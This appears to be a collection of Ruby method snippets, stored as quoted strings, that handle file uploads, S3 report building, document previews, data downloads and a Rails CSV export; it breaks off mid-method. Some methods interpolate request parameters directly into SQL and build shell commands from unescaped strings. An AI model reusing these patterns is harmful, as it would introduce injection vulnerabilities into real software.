"def submit_batches!(lock_object=nil)\n File.makedirs(cache_location)\n batches_submitted = 0\n with_ftp do # causes all batches to be uploaded in a single session\n # 1) Gather all payments for this client.\n batches.each do |batch| # 2) For each file type (ach, cc) yet to be uploaded:\n batches_submitted += 1 if submit_batch!(batch, lock_object)\n end\n end\n batches_submitted\n end",
"def prepareReport(name, s3path)\n tmp = Dir.mktmpdir(\"report\", \"/mnt\")\n Dir.mkdir(tmp + \"/parts\")\n \n puts \"TMP dir is #{tmp}\\n\"\n \n filecount = 0\n \n if (! s3path.match(/^.*\\/$/))\n s3path = s3path + \"/\"\n end\n \n puts \"#{s3path}\"\n \n `#{S3CMD} ls #{s3path}`.each { |obj|\n if (obj=~/^.*(s3:\\/\\/.*?([^\\/]+))\\n$/)\n part = $1\n file = $2\n puts \"Downloading #{part} #{file}\"\n system(\"#{S3CMD} get #{part} #{tmp}/parts/#{file}\") or raise(\"can't download: #{part}\")\n\n filecount+=1\n end\n }\n \n raise(\"no files found in #{s3path}\") unless (filecount > 0)\n \n ## concat files\n Dir.mkdir(tmp + \"/\" + name)\n system(\"find #{tmp}/parts -type f | xargs cat > #{tmp}/#{name}/#{name}.csv\") or raise(\"error creating #{name}.csv\")\n \n system(\"zip -r -j #{tmp}/#{name}.zip #{tmp}/#{name}\") or raise(\"error zipping #{tmp}/#{name}.zip\")\n\n return \"#{tmp}/#{name}.zip\"\nend",
"def main()\n res = @s.execute_get(@s.url_for(\"var/search/needsprocessing.json\"))\n unless res.code == '200'\n raise \"Failed to retrieve list to process [#{res.code}]\"\n end\n\n process_results = JSON.parse(res.body)['results']\n log \"processing #{process_results.size} entries\"\n unless process_results.size > 0\n return\n end\n\n # Create some temporary directories.\n Dir.mkdir DOCS_DIR unless File.directory? DOCS_DIR\n Dir.mkdir PREV_DIR unless File.directory? PREV_DIR\n Dir.mkdir PDFS_DIR unless File.directory? PDFS_DIR\n\n # Create a temporary file in the DOCS_DIR for all the pending files and outputs all the filenames in the terminal.\n Dir.chdir DOCS_DIR\n queued_files = process_results.collect do |result|\n FileUtils.touch result['_path']\n end\n\n log \" \"\n log \"Starts a new batch of queued files: #{queued_files.join(', ')}\"\n\n Dir['*'].each do |id|\n FileUtils.rm_f id\n log \"processing #{id}\"\n\n begin\n meta_file = @s.execute_get @s.url_for(\"p/#{id}.json\")\n unless meta_file.code == '200'\n raise \"Failed to process: #{id}\"\n end\n\n meta = JSON.parse meta_file.body\n mime_type = meta['_mimeType']\n given_extension = meta[\"sakai:fileextension\"]\n extension = determine_file_extension_with_mime_type(mime_type, given_extension)\n filename = id + extension\n log \"with filename: #{filename}\"\n\n if ignore_processing?(mime_type) || extension.eql?('')\n if extension.eql?('')\n log \"ignoring processing of #{filename}, no preview can be generated for files without a known mime type\"\n log \"The file's original extension was #{given_extension}, and it's mime type is #{mime_type}\"\n else\n log \"ignoring processing of #{filename}, no preview can be generated for #{mime_type} files\"\n end\n else\n # Making a local copy of the file.\n content_file = @s.execute_get @s.url_for(\"p/#{id}\")\n unless ['200', '204'].include? content_file.code\n raise \"Failed to process file: #{id}, status: #{content_file.code}\"\n end\n File.open(filename, 'wb') { |f| f.write content_file.body }\n\n if process_as_image? extension\n extension = output_extension extension\n page_count = 1\n filename_thumb = 'thumb' + extension\n\n content = resize_and_write_file filename, filename_thumb, 900\n post_file_to_server id, content, :normal, page_count, extension\n\n content = resize_and_write_file filename, filename_thumb, 180, 225\n post_file_to_server id, content, :small, page_count, extension\n\n FileUtils.rm_f DOCS_DIR + \"/#{filename_thumb}\"\n else\n begin\n # Check if user wants autotagging\n user_id = meta[\"sakai:pool-content-created-for\"]\n user_file = @s.execute_get @s.url_for(\"/system/me?uid=#{user_id}\")\n unless user_file.code == '200'\n raise \"Failed to get user: #{uid}\"\n end\n user = JSON.parse(user_file.body)\n if user[\"user\"][\"properties\"][\"isAutoTagging\"] != \"false\"\n # Get text from the document\n Docsplit.extract_text filename, :ocr => false\n text_content = IO.read(id + \".txt\")\n terms = extract_terms(text_content)\n tags = \"\"\n terms.each_with_index do |t, i|\n tags += \"- #{t}\\n\"\n terms[i] = \"/tags/#{t}\"\n end\n # Generate tags for document\n @s.execute_post @s.url_for(\"p/#{id}\"), {':operation' => 'tag', 'key' => terms}\n log \"Generate tags for #{id}, #{terms}\"\n admin_id = \"admin\"\n origin_file_name = meta[\"sakai:pooled-content-file-name\"]\n if not terms.nil? and terms.length > 0 and user[\"user\"][\"properties\"][\"sendTagMsg\"] and user[\"user\"][\"properties\"][\"sendTagMsg\"] != \"false\"\n msg_body = \"We have automatically added the following tags for #{origin_file_name}:\\n\\n #{tags}\\n\\nThese tags were created to aid in the discoverability of your content.\\n\\nRegards, \\nThe Sakai Team\"\n @s.execute_post(@s.url_for(\"~#{admin_id}/message.create.html\"), {\n \"sakai:type\" => \"internal\",\n \"sakai:sendstate\" => \"pending\",\n \"sakai:messagebox\" => \"outbox\",\n \"sakai:to\" => \"internal:#{user_id}\",\n \"sakai:from\" => \"#{admin_id}\",\n \"sakai:subject\" => \"We've added some tags to #{origin_file_name}\",\n \"sakai:body\" => msg_body,\n \"_charset_\" => \"utf-8\",\n \"sakai:category\" => \"message\"\n })\n log \"sending message from #{admin_id} user to #{user_id}\"\n end\n end\n rescue Exception => msg\n log \"failed to generate document tags: #{msg}\", :warn\n end\n\n # Generating image previews of the document.\n if only_first_page? extension\n Docsplit.extract_images filename, :size => '1000x', :format => :jpg, :pages => 1\n else\n Docsplit.extract_images filename, :size => '1000x', :format => :jpg\n end\n\n # Skip documents with a page count of 0, just to be sure.\n next if Dir[id + '_*'].size == 0\n\n Dir.mkdir PREV_DIR + \"/#{id}\" unless File.directory? PREV_DIR + \"/#{id}\"\n\n # Moving these previews to another directory: \"PREVS_DIR/filename/index.jpg\".\n Dir[id + '_*'].each_with_index do |preview, index|\n FileUtils.mv \"#{id}_#{index + 1}.jpg\", \"#{PREV_DIR}/#{id}/#{index}.jpg\"\n end\n\n Dir.chdir PREV_DIR + \"/#{id}\"\n page_count = Dir[\"*\"].size\n\n # Upload each preview and create+upload a thumbnail.\n for index in (0..page_count - 1)\n filename_p = \"#{index}.jpg\"\n # Upload the generated preview of this page.\n nbytes, content = File.size(filename_p), nil\n File.open(filename_p, \"rb\") { |f| content = f.read nbytes }\n post_file_to_server id, content, :large, index + 1\n\n # Generate 2 thumbnails and upload them to the server.\n filename_thumb = File.basename(filename_p, '.*') + '.normal.jpg'\n content = resize_and_write_file filename_p, filename_thumb, 700\n post_file_to_server id, content, :normal, index + 1\n\n filename_thumb = File.basename(filename_p, '.*') + '.small.jpg'\n content = resize_and_write_file filename_p, filename_thumb, 180, 225\n post_file_to_server id, content, :small, index + 1\n end\n\n FileUtils.remove_dir PREV_DIR + \"/#{id}\"\n end\n # Pass on the page_count\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:pagecount\" => page_count, \"sakai:hasPreview\" => \"true\"}\n\n # Change to the documents directory otherwise we won't find the next file.\n Dir.chdir DOCS_DIR\n end\n\n #SAKAI TO PDF\n # We check if mimetype is sakaidoc\n if(mime_type == \"x-sakai/document\")\n if (File.exist?(\"../wkhtmltopdf\"))\n # Go to PDF Dir\n Dir.chdir PDFS_DIR\n\n #delay in secs\n $delay = \"20\"\n\n #filename with extension\n filename_p = id + \".pdf\"\n\n # We parse the structure data to var structure (we do not need the rest)\n structure = JSON.parse meta['structure0']\n\n # Create var and add beginning of code line to run\n line = \"../wkhtmltopdf \"\n\n # Go through structure and add the pagelink for each page id\n structure.each do |page|\n link = \"content#l=\" + page[0] + \"&p=\" + id\n link = @s.url_for(link)\n link = \"'\" + link + \"' \"\n line += link\n end\n\n # Fetch cookie value to get access to all content\n # USERNAME PASSWORD SERVER\n $username = \"admin\"\n auth = \"../auth.sh \" + $username + \" \" + $pw + \" \" + $preview_referer\n cookietoken = `#{auth}`\n\n # Append end of line containing arguments for print css, delay and authentication\n line += filename_p + \" --print-media-type --redirect-delay \" + $delay + \"000 --cookie 'sakai-trusted-authn' \" + cookietoken\n\n # Run the command line (run wkhtmltopdf)\n `#{line}`\n\n # We read the content from the pdf in the PDF directory\n content = open(filename_p, 'rb') { |f| f.read }\n\n # We post it to server through this function\n post_pdf_to_server id, content\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:processing_failed\" => \"false\"}\n #Change dir\n Dir.chdir DOCS_DIR\n else\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:processing_failed\" => \"true\"}\n log \"PDF Converter (wkhtmltopdf) not present in directory\"\n log \"Cannot convert Sakai document to PDF\"\n log \"Continuing without conversion\"\n end\n end\n rescue Exception => msg\n # Output a timestamp + the error message whenever an exception is raised\n # and flag this file as failed for processing.\n log \"error generating preview/thumbnail (ID: #{id}): #{msg.inspect}\\n#{msg.backtrace.join(\"\\n\")}\", :warn\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:processing_failed\" => \"true\"}\n ensure\n # No matter what we flag the file as processed and delete the temp copied file.\n @s.execute_post @s.url_for(\"p/#{id}\"), {\"sakai:needsprocessing\" => \"false\"}\n FileUtils.rm_f DOCS_DIR + \"/#{filename}\"\n end\n end\n\n FileUtils.remove_dir PDFS_DIR\n FileUtils.remove_dir PREV_DIR\n FileUtils.remove_dir DOCS_DIR\nend",
"def upload\n begin\n apicaller =ApiCaller.new(@hostOutput,\"\",@user,@pass)\n restPath = @pathOutput\n \n \n ##uplaoding otu table\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/otu.table/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/otu_table.txt\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded otu_table.txt \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n \n ##uplaoding phylogenetic tarred files\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/phylogenetic.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/phylogenetic.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded phylogenetic.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uplaoding taxanomy tarred files \n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/taxanomy.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/taxanomy.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded taxanomy.result.tar.gz\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##Uploading fasta files \n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/fasta.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/fasta.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded fasta.result.tar.gz \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##Uploading plots files \n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/plots.result.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/plots.result.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded plots.result.tar.gz plots\"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end \n \n #uploading raw results file back\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/raw.results.tar.gz/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/raw.results.tar.gz\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded raw.results.tar.gz \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n #uploading metadata file back\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/sample.metadata/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/metadata.txt\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded metadata file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uploading json setting file\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/settings.json/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@scratch}/jobFile.json\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded jsonfile file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n ##uploading mapping.txt file\n path = restPath +\"/file/MicrobiomeWorkBench/#{@studyName1}/QIIME/#{@jobName1}/mapping.txt/data\"\n apicaller.setRsrcPath(path)\n infile = File.open(\"#{@outputDir}/QIIME_result/mapping.txt\",\"r\")\n apicaller.put(infile)\n if apicaller.succeeded?\n $stdout.puts \"successfully uploaded mapping.txt file \"\n else\n $stderr.puts apicaller.parseRespBody()\n $stderr.puts \"API response; statusCode: #{apicaller.apiStatusObj['statusCode']}, message: #{apicaller.apiStatusObj['msg']}\"\n @exitCode = apicaller.apiStatusObj['statusCode']\n raise \"#{apicaller.apiStatusObj['msg']}\"\n end\n \n end\n \n end",
"def grade_files files\n total_weight = 0\n ActiveRecord::Base.connection_pool.with_connection do \n CodeCategory.find_each do |category|\n total_weight += category.weight\n end\n end\n files.each do |f|\n grade = 0\n f[1]['categories'].each do |cat|\n grade += (cat[1]['grade'].to_f * ((cat[1]['weight'].to_f / total_weight.to_f)))\n end\n files[f[0]] = f[1].merge({'grade'=>grade.round(1)})\n end\n return files\n end",
"def upload_all_cat3s\n puts \"Generating and uploading QRDA Cat 3s...\"\n\n upload_cat3s(ProductTest.where({:name => \"measureEvaluationTest\"}))\n\n puts \"done\"\n end",
"def execute\n Parallel.each(Dir[\"#{ENV['STAGE']}_files/*\"], progress: \"Progress by files\", in_process: 8) do |file|\n users = Concurrent::Array.new\n sessions = Concurrent::Array.new\n\n fill_data(file, users, sessions)\n ReportGenerator.new(users, sessions, file).execute\n end\n\n ReportJoiner.new(ENV[\"REPORT_FILE_PATH\"]).execute\n end",
"def buildArray(localObjCache, increase)\n localDirContents=[] #Array of all items in the cwd\n localDirContents=Dir[Dir.pwd+\"/*\"] #Builds the array of items in cwd\n\n localDirContents.each do |item|\n if File.file?(item)\n fileObj = FileName.new(item)\n localObjCache.push(fileObj)\n n = increase.call #printing every 100 files scanned\n if n % 100 == 0\n puts n\n end\n elsif File.directory?(item)\n Dir.chdir(item)\n buildArray(localObjCache, increase) \n end\n end\n\n return localObjCache\n end",
"def track_files(glob); end",
"def perform\n if @file_size < SINGLE_UPLOAD_MAX\n resource = \"#{DEFAULT_RESOURCE}#{@bucket}\"\n response = upload(resource, File.read(@file_path))\n response.headers['location'][0]\n else\n response = init_chunked_upload\n bytes_per_chunk_size = response.headers['x-ton-min-chunk-size'][0].to_i\n location = response.headers['location'][0]\n\n bytes_read = 0\n chunk_bytes = bytes_per_chunk_size * DEFAULT_CHUNK_SIZE\n File.open(@file_path) do |file|\n while bytes = file.read(chunk_bytes)\n bytes_start = bytes_read\n bytes_read += bytes.size\n upload_chunk(location, bytes, bytes_start, bytes_read) do |res|\n # Determines the chunk bytes based on response times\n response_time = res.headers['x-response-time'][0].to_f\n response_based_chunk_size =\n (DEFAULT_CHUNK_SIZE * (RESPONSE_TIME_MAX / response_time)).to_i\n next_chunk_size = [DEFAULT_CHUNK_SIZE, [1, response_based_chunk_size].max].min\n chunk_bytes = bytes_per_chunk_size * next_chunk_size\n end\n end\n end\n\n location.split('?')[0]\n end\n end",
"def generate\n puts @root\n \n puts \"Processing files ...\"\n start_time = Time.now\n puts \"start --\"\n\n # getting list of committers\n puts \"Getting list of committers ...\"\n @committers = `git log --raw | grep \"^Author:\" | sort | uniq | sed -e 's/^Author: //g' -e 's/<.*//g'`.split(\"\\n\")\n @committers.uniq!\n\n # creaing an html file\n html_composer = HtmlComposer.new(@root, @report_path)\n html_composer.write_html_header\n\n files = FileList.new() do |f|\n @excluded_files.each { |e| \n f.exclude(e)\n puts \"Excluded #{e}\" \n }\n end\n @included_files.each do |i|\n files.add(i)\n end\n\n FileUtils.mkdir_p \"#{@root}/gs_temp\"\n Parallel.each(files, :in_processes => @config[:in_processes]) do |path|\n process_file(html_composer, path)\n end\n FileUtils.rm_r \"#{@root}/gs_temp\"\n\n # closing the html file\n html_composer.write_html_footer\n\n puts \"\"\n puts \"-- end\"\n\n elapsed_time = (Time.now - start_time).round(2)\n puts \"Processed in #{elapsed_time} secs\"\n end",
"def download_benchmark_output\n if !ApplicationController.fire_cloud_client.services_available?('GoogleBuckets')\n head 503 and return\n end\n\n requested_file = ApplicationController.gcs_client.execute_gcloud_method(:get_workspace_file, 0, @user_workspace.namespace,\n @user_workspace.name, params[:filename])\n if requested_file.present?\n @signed_url = ApplicationController.gcs_client.execute_gcloud_method(:generate_signed_url, 0, @user_workspace.namespace,\n @user_workspace.name, params[:filename], expires: 15)\n redirect_to @signed_url\n else\n redirect_to user_workspace_path(project: @user_workspace.namespace, name: @user_workspace.name),\n alert: 'The file you requested was unavailable. Please try again.' and return\n end\n\n end",
"def group_fastq_files starting_path, output_path, options = {:prefix => \"L\", :suffix => \".fastq.gz\", :exclude_undetermined => true}\n execute \"mkdir -p #{output_path}\"\n fastq_groups = []\n \n fastq_files = Dir.glob(File.join(starting_path, fastq_search_path))\n if fastq_files.empty?\n log \"# ERROR: no fastq files found in #{starting_path}\" if fastq_files.empty?\n else\n log \"# #{fastq_files.size} fastq files found in #{starting_path}\"\n fastq_file_data = get_file_data fastq_files, \"\\.fastq\\.gz\"\n fastq_groups = group_files fastq_file_data, output_path, options\n end\n fastq_groups\n end",
"def generate_payer_bulk_data\n p \"There are no payer resources available to generate bulk data.\" if PAYERS.empty?\n\n PAYERS.each do |payer|\n NDOUTS.clear\n request = \"#{FHIR_SERVER}/fhir/InsurancePlan/#{payer[:id]}/$export\"\n output_directory = File.join(\"bulk_export\", payer[:id])\n FileUtils.mkdir_p(output_directory)\n related_formularies_id = []\n payer[:coverage].each do |coverage|\n formulary = coverage[:extension].find { |ext| ext[:url] == \"http://hl7.org/fhir/us/davinci-drug-formulary/StructureDefinition/usdf-FormularyReference-extension\" }\n unless formulary.nil?\n related_formularies_id << formulary[:valueReference][:reference].split(\"/\").last\n end\n end\n\n related_formularies = FORMULARIES.find_all { |formulary| related_formularies_id.include?(formulary[:id]) }\n related_formularies.prepend(payer)\n generate_ndjson(\"InsurancePlan\", related_formularies, output_directory)\n\n related_formularies_id.each { |id| get_related_basic_and_medicationknowledge(id, output_directory) }\n location_ids = extract_location_id_from_reference(payer[:coverageArea])\n get_related_locations(location_ids, output_directory)\n generate_export_json(output_directory, request, NDOUTS)\n end\nend",
"def test_get_workspace_files\n # set workspace name\n workspace_name = \"#{self.method_name}-#{@random_test_seed}\"\n\n # create workspace\n puts 'creating workspace...'\n workspace = @fire_cloud_client.create_workspace(@fire_cloud_client.project, workspace_name)\n assert workspace.present?, 'Did not create workspace'\n\n puts 'uploading files...'\n # upload files\n participant_upload = File.open(Rails.root.join('test', 'test_data', 'default_participant.tsv'))\n participant_filename = File.basename(participant_upload)\n uploaded_participant = @fire_cloud_client.execute_gcloud_method(:create_workspace_file, 0, workspace['bucketName'], participant_upload.to_path, participant_filename)\n assert uploaded_participant.present?, 'Did not upload participant file'\n assert uploaded_participant.name == participant_filename, \"Name not set correctly on uploaded participant file, expected '#{participant_filename}' but found '#{uploaded_participant.name}'\"\n\n samples_upload = File.open(Rails.root.join('test', 'test_data', 'workspace_samples.tsv'))\n samples_filename = File.basename(samples_upload)\n uploaded_samples = @fire_cloud_client.execute_gcloud_method(:create_workspace_file, 0, workspace['bucketName'], samples_upload.to_path, samples_filename)\n assert uploaded_samples.present?, 'Did not upload samples file'\n assert uploaded_samples.name == samples_filename, \"Name not set correctly on uploaded participant file, expected '#{samples_filename}' but found '#{uploaded_samples.name}'\"\n\n # get remote files\n puts 'getting files...'\n bucket_files = @fire_cloud_client.execute_gcloud_method(:get_workspace_files, 0, workspace['bucketName'])\n assert bucket_files.size == 2, \"Did not find correct number of files, expected 2 but found #{bucket_files.size}\"\n\n # get single remote file\n puts 'getting single file...'\n bucket_file = bucket_files.sample\n file_exists = @fire_cloud_client.workspace_file_exists?(workspace['bucketName'], bucket_file.name)\n assert file_exists, \"Did not locate bucket file '#{bucket_file.name}'\"\n file = @fire_cloud_client.execute_gcloud_method(:get_workspace_file, 0, workspace['bucketName'], bucket_file.name)\n assert file.present?, \"Did not retrieve bucket file '#{bucket_file.name}'\"\n assert file.generation == bucket_file.generation, \"Generation tag is incorrect on retrieved file, expected '#{bucket_file.generation}' but found '#{file.generation}'\"\n\n # copy a file to new destination\n copy_destination = \"copy_destination_path/new_#{file.name}\"\n copied_file = @fire_cloud_client.execute_gcloud_method(:copy_workspace_file, 0, workspace['bucketName'], file.name, copy_destination)\n assert copied_file.present?, 'Did not copy file'\n assert copied_file.name == copy_destination, \"Did not copy file to correct destination, expected '#{copy_destination}' but found #{copied_file.name}\"\n\n # download remote file to local\n puts 'downloading file...'\n download_path = Rails.root.join('tmp')\n downloaded_file = @fire_cloud_client.execute_gcloud_method(:download_workspace_file, 0, workspace['bucketName'], file.name, download_path)\n assert downloaded_file.present?, 'Did not download local copy of file'\n assert downloaded_file.to_path == File.join(download_path, file.name), \"Did not download #{file.name} to #{download_path}, downloaded file is at #{downloaded_file.to_path}\"\n # clean up download\n File.delete(downloaded_file.to_path)\n\n # generate a signed URL for a file\n puts 'getting signed URL for file...'\n seconds_to_expire = 15\n signed_url = @fire_cloud_client.execute_gcloud_method(:generate_signed_url, 0, workspace['bucketName'], participant_filename, expires: seconds_to_expire)\n signed_url_response = RestClient.get signed_url\n assert signed_url_response.code == 200, \"Did not receive correct response code on signed_url, expected 200 but found #{signed_url_response.code}\"\n participant_contents = participant_upload.read\n assert participant_contents == signed_url_response.body, \"Response body contents are incorrect, expected '#{participant_contents}' but found '#{signed_url_response.body}'\"\n\n # check timeout\n sleep(seconds_to_expire)\n begin\n RestClient.get signed_url\n rescue RestClient::BadRequest => timeout\n expected_message = '400 Bad Request'\n expected_error_class = RestClient::BadRequest\n assert timeout.message == expected_message, \"Did not receive correct error message, expected '#{expected_message}' but found '#{timeout.message}'\"\n assert timeout.class == expected_error_class, \"Did not receive correct error class, expected '#{expected_error_class}' but found '#{timeout.class}'\"\n end\n\n # generate a media URL for a file\n puts 'getting API URL for file...'\n api_url = @fire_cloud_client.execute_gcloud_method(:generate_api_url, 0, workspace['bucketName'], participant_filename)\n assert api_url.start_with?(\"https://www.googleapis.com/storage\"), \"Did not receive correctly formatted api_url, expected to start with 'https://www.googleapis.com/storage' but found #{api_url}\"\n\n puts 'reading file into memory...'\n remote_file = @fire_cloud_client.execute_gcloud_method(:read_workspace_file, 0, workspace['bucketName'], participant_filename)\n remote_contents = remote_file.read\n assert remote_contents == participant_contents,\n \"Did not correctly read remote file into memory, contents did not match\\n## remote ##\\n#{remote_contents}\\n## local ##\\n#{participant_contents}\"\n\n # close upload files\n participant_upload.close\n samples_upload.close\n\n # get files at a specific location\n puts 'getting files at location...'\n location = 'copy_destination_path'\n files_at_location = @fire_cloud_client.execute_gcloud_method(:get_workspace_directory_files, 0, workspace['bucketName'], location)\n assert files_at_location.size == 1, \"Did not find correct number of files, expected 1 but found #{files_at_location.size}\"\n\n # delete remote file\n puts 'deleting file...'\n num_files = @fire_cloud_client.execute_gcloud_method(:get_workspace_files, 0, workspace['bucketName']).size\n delete_confirmation = @fire_cloud_client.execute_gcloud_method(:delete_workspace_file, 0, workspace['bucketName'], file.name)\n assert delete_confirmation, 'File did not delete, confirmation did not return true'\n current_num_files = @fire_cloud_client.execute_gcloud_method(:get_workspace_files, 0, workspace['bucketName']).size\n assert current_num_files == num_files - 1, \"Number of files is incorrect, expected #{num_files - 1} but found #{current_num_files}\"\n end",
"def download(url)\n at = DateTime.strptime(url.split('/').last, '%Y%m%d')\n dir = Rails.root.join('lib', 'data', at.strftime('%Y%m%d'))\n\n FileUtils::mkdir_p dir\n\n start = DateTime.now\n total = (PREDICTION_MAX_HOURS/HOUR_RESOLUTION).ceil * PREDICTION_PERIODS.count\n\n # build the queue of datasets to download\n datasets = Queue.new\n number_completed = 0\n\n PREDICTION_PERIODS.each do |period|\n (0..PREDICTION_MAX_HOURS).step(HOUR_RESOLUTION).each do |hour_offset|\n datasets << \"#{url}gfs_4_#{at.strftime('%Y%m%d')}_#{period}_#{hour_offset.to_s.rjust(3, '0')}.grb2\"\n end\n end\n\n # make a pool to download them\n threads = [THREAD_POOL_SIZE, datasets.size].min\n workers = []\n\n threads.times do\n workers << Thread.new do\n begin\n while (file_url = datasets.pop(true)).present?\n download_file file_url, dir\n\n number_completed += 1\n\n if number_completed % (total / 10).to_i == 0\n percentage = (100*number_completed/total.to_f)\n elapsed = (DateTime.now - start).to_f * 1.day\n remaining = elapsed / (percentage / 100) - elapsed\n\n puts \"#{percentage.round(1).to_s.rjust(5)}% complete (#{elapsed.round(2)}s elapsed, #{remaining.round(2)}s remaining)\"\n end\n end\n rescue ThreadError\n end\n end\n end\n\n workers.map(&:join)\n\n # logs!\n elapsed = (DateTime.now - start).to_f * 1.day\n puts \"#{elapsed.round(2)}s to download #{url.split('/').last} (#{total} checked)\".green\n\n GribConvert::convert_folder dir, serial: true\n end",
"def uploadFolder(folder,foldersync,googlefolder)\n puts \"Feature Pending\"\n #Create the collection\n #uploadFile(file)\nend",
"def exported_report\n #The folder where the filename points to, is actually in the ~/rails/Forester because of capistrano as\n # the Apache point to ~/rails/Forester/current symlinkfolder and capistrano updates the them. \n @filename = \"quarterly_report_#{params[:year]}_#{params[:quarter]}.csv\"\n @file_path = \"#{Rails.root}/../../shared/system/exports/\"\n if params[:quarter] == \"1\"\n @tickets = Ticket.find(:all, :conditions => \"delivery_date>'#{(params[:year].to_i-1)}-12-31' AND delivery_date<'#{params[:year]}-04-01'\")\n else\n if params[:quarter] == \"2\"\n @tickets = Ticket.find(:all, :conditions => \"delivery_date>'#{params[:year]}-03-31' AND delivery_date<'#{params[:year]}-07-01'\")\n else\n if params[:quarter] == \"3\"\n @tickets = Ticket.find(:all, :conditions => \"delivery_date>'#{params[:year]}-06-30' AND delivery_date<'#{params[:year]}-10-01'\")\n else\n if params[:quarter] == \"4\" then\n @tickets = Ticket.find(:all, :conditions => \"delivery_date>'#{params[:year]}-09-30' AND delivery_date<'#{(params[:year].to_i+1)}-01-01'\")\n end\n end\n end\n end\n \n #Writing to file starts with empty line.\n File.open(\"#{@file_path}#{@filename}\", 'w') do |writer|\n writer.puts(\"\\n\")\n end\n \n #From the tickets delivered in the given quarter, the job ids are gathered here\n @job_ids = @tickets.collect {|i| i.job_id }\n @jobs = Job.find(@job_ids)\n \n #To have less DB calls, all specie records are put into an instance variable\n @species = Specie.all\n \n #Goes through all the jobs, for each sums up all the mbf and tonnages and writes them into the file\n # per specie.\n @jobs.each do |k|\n @my_tickets = []\n @tickets.each do |l|\n if l.job_id == k.id\n @my_tickets.push(l)\n end\n end\n \n @amounts = []\n \n @species.length.times do\n @amounts.push([0, 0])\n end\n \n @total_pulp = 0\n \n @my_tickets.each do |i|\n i.load_details.each do |j|\n if i.wood_type == 3 || j.species_id == 0 #wood type 3 & species_id 0 == pulp\n @total_pulp = @total_pulp + j.tonnage\n next #If load is pulp, it has only one load detail so program jups to next loop\n end\n #Amounts of mbf/tonnage are summed up here per ticket according to their 